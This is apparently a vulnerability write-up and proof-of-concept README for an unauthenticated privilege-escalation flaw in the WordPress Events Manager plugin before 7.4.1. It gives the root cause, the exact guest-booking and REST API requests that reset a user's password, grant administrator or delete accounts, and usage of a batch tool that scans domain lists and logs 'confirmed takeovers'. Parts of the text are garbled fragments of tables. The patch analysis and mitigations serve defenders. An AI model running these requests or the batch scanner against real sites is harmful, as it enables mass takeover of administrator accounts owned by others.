
Unauthenticated privilege-escalation PoC for WordPress Events Manager < 7.4.1; discovers colliding post/user IDs and escalates targets to administrator via REST or wp-admin.
| Product | Events Manager (WordPress plugin) |
| Affected versions | 7.1.0 – 7.4.0.x |
| Fixed version | 7.4.1 |
| Weakness | CWE-269: Improper Privilege Management |
| Severity | CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Original researcher | Jakub Herman |
| Write-up & PoC | ghostpel |
poc.py).Events Manager versions 7.1.0 through 7.4.0.x contain a privilege escalation vulnerability that allows a completely unauthenticated attacker to take over any user account whose ID collides with the ID of one of the plugin's own posts (event / location / event-recurring / location-recurring). The collision can be forced on sites with guest bookings enabled (the default): every guest booking creates a real user account and advances the wp_users auto-increment counter by one, letting an attacker "walk" the user ID space onto an event/location post ID.
The root cause: the plugin's map_meta_cap filter discards the capability list WordPress already computed ($caps = []) for any meta capability, whenever the capability's object ID happens to resolve to an event/location post — including WordPress core capabilities such as edit_user, delete_user, promote_user, and remove_user. An empty capability list reads as "no capability required" — i.e. allow for everyone, including logged-out users.
Consequences (all unauthenticated, via the WP REST API): change any colliding account's password, escalate it to administrator, or delete it.
Version analyzed: 7.4.0.1 (vulnerable) — diffed against 7.4.1 (fixed).
| Version | Status |
|---|---|
| ≤ 7.0.5 | Not affected (legacy em_map_meta_cap only handles EM's own capabilities) |
| 7.1.0 – 7.4.0.x | Vulnerable (the archetype system with the buggy was introduced in 7.1.0) |
map_meta_cap empties $capsclasses/em-archetypes.php (version 7.4.0.1):
Consequence: every current_user_can('edit_user', X) / delete_user / promote_user / remove_user check returns TRUE whenever X equals the ID of an event/location post. The plugin "discards the access control decisions WordPress had already made" — exactly as described by WPScan.
Verified by diffing 7.4.0.1 against 7.4.1: the reset is now guarded by an exact capability match per branch (e.g. && $c['read'][$post->post_type] == $cap), so $caps is only emptied when the requested capability really is an archetype meta cap. Patch comment: "Resetting on any object-carrying cap emptied the requirement list for unrelated caps (e.g. edit_user, promote_user), which reads as allow."
The REST Users endpoints (/wp-json/wp/v2/users/{id}) have no global login gate — access control is purely via permission callbacks, all of which flow through the same map_meta_cap filter:
Side effect: edit_comment is also affected when a comment ID happens to equal an event/location post ID (the wp_comments table shares the numeric space).
The collision exists because wp_users.ID and wp_posts.ID are independent auto-increment sequences that inevitably overlap. Guest bookings force it:
em-install.php:896 — dbem_bookings_anonymous = 1: guest bookings enabled by default; :871 dbem_bookings_registration_disable = 0 (registration enabled).em-actions.php:340-344 — booking_add is in $booking_nopriv_actions → callable without login (via wp_ajax_nopriv_booking_add, priority 999999, lines :817-830, or wp_loaded :11).em-actions.php:360-375 — booking_add flow: → → → → . (The nonce is CSRF protection only — the nonce is rendered on the public booking form, so anyone can obtain it.)Secondary chain observed during the audit (booking attribution via person_id) — events-manager.php:430-437 (em_load_event, $EM_Person from $_REQUEST['person_id'] without login), em-booking.php:1060-1072 (get_person() overrides the person_id of a new booking), em-booking.php:2004-2006 (can_manage() = TRUE for a booking without ID), em-functions.php:448-449 — unchanged in 7.4.1; it is a separate vector (booking mis-attribution), not the core of this CVE.
/wp-json/wp/v2/event, or sequential-ID brute force). Say the target is N.N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N belongs to the attacker (password emailed to the attacker's address).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user permission callbacks pass because get_post(N) resolves to an event/location post → $caps = [].
(If an — e.g. an old admin — already has ID colliding with an event post ID, step 2 is unnecessary; the attacker directly takes over that account.)event/location CPTs registered).poc.pypoc.py is an asynchronous (asyncio + aiohttp) batch PoC that, per target: fingerprints the EM version (gated to the vulnerable range [7.1, 7.4.1)), discovers EM post IDs reachable from outside (WP sitemap → /locations/, optionally a booking-form crawl), probes the discovered IDs for an existing user account (the collision condition), and escalates the ones that collide — via the REST channel, or the wp-admin channel when a session is supplied and REST is blocked. No blind user-range sweep, no guest bookings, no account creation.
The runner multiplexes all I/O on a single event loop (near 0% CPU when I/O-bound; -t caps concurrency instead of cores), scans only bounded 64 KiB head chunks on the loop, offloads heavy parses (sitemap XML, crawl-page bundle, profile form) to worker threads via asyncio.to_thread, and enforces the politeness delay on every page attempt. The forcing logic itself is unchanged (same gates, same oracles, same verification).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
Requirements: Python 3.9+, pip install aiohttp.
Results are streamed to hasil.txt (confirmed takeovers) and id-post.txt (every vulnerable domain where EM post IDs were discovered, with collision=yes/no/unknown).
Note: this PoC was independently reconstructed from static analysis of the 7.4.0.1 source and the 7.4.1 patch diff — it is not the WPScan PoC.
AUTHORIZED SECURITY TESTING ONLY. Run exclusively against systems you own or have explicit written permission to test. The PoC performs plain HTTP requests — no evasion; it may be visible in logs/IDS.
dbem_bookings_anonymous), restrict the users REST endpoints at the WAF level, and monitor for password changes, role escalations, and account deletions.map_meta_cap| 7.4.1 | Fixed |
| Line | Code | Role |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Global, unconditional filter — runs for every WordPress meta-capability check, including core's and those for logged-out users |
:547 | if ( !empty( $args[0] ) ) { | The capability's object is taken as a post ID |
:548 | $post = get_post($args[0]); | ID collision: the target user ID (for caps like edit_user) is treated as a post ID |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | The capability list is discarded unconditionally — even though the requested cap is not a read/edit/delete_event archetype cap |
:568/577/584 | if/elseif branches | $caps is only refilled when $cap exactly matches an archetype meta cap; for edit_user, delete_user, promote_user, remove_user no branch matches → $caps stays empty |
:597 | return $caps; | Empty array = "no capability required" = ALLOW for anyone, including user ID 0 |
| Action | Endpoint / core function | Bypassed capability |
|---|
| Change the target account's password | PUT /wp-json/wp/v2/users/{id} with {"password":"..."} → wp_update_user() (internal edit_user check) | edit_user |
| Escalate the account to Administrator | PUT /wp-json/wp/v2/users/{id} with {"roles":["administrator"]} | promote_user |
| Delete an account | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (internal delete_user check) | delete_user |
| (Multisite) remove a user from the blog | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — guest branch: em_register_new_user($user_data) with the attacker's email.em-functions.php:510 — wp_insert_user($user_data) → wp_users auto-increment advances by 1 per guest booking → the attacker controls the growth rate of the user ID counter until it lands on the desired event/location post ID (WPScan: "each guest booking creates a real user account and advances the user ID counter by one").NDELETE /wp-json/wp/v2/users/M?reassign=N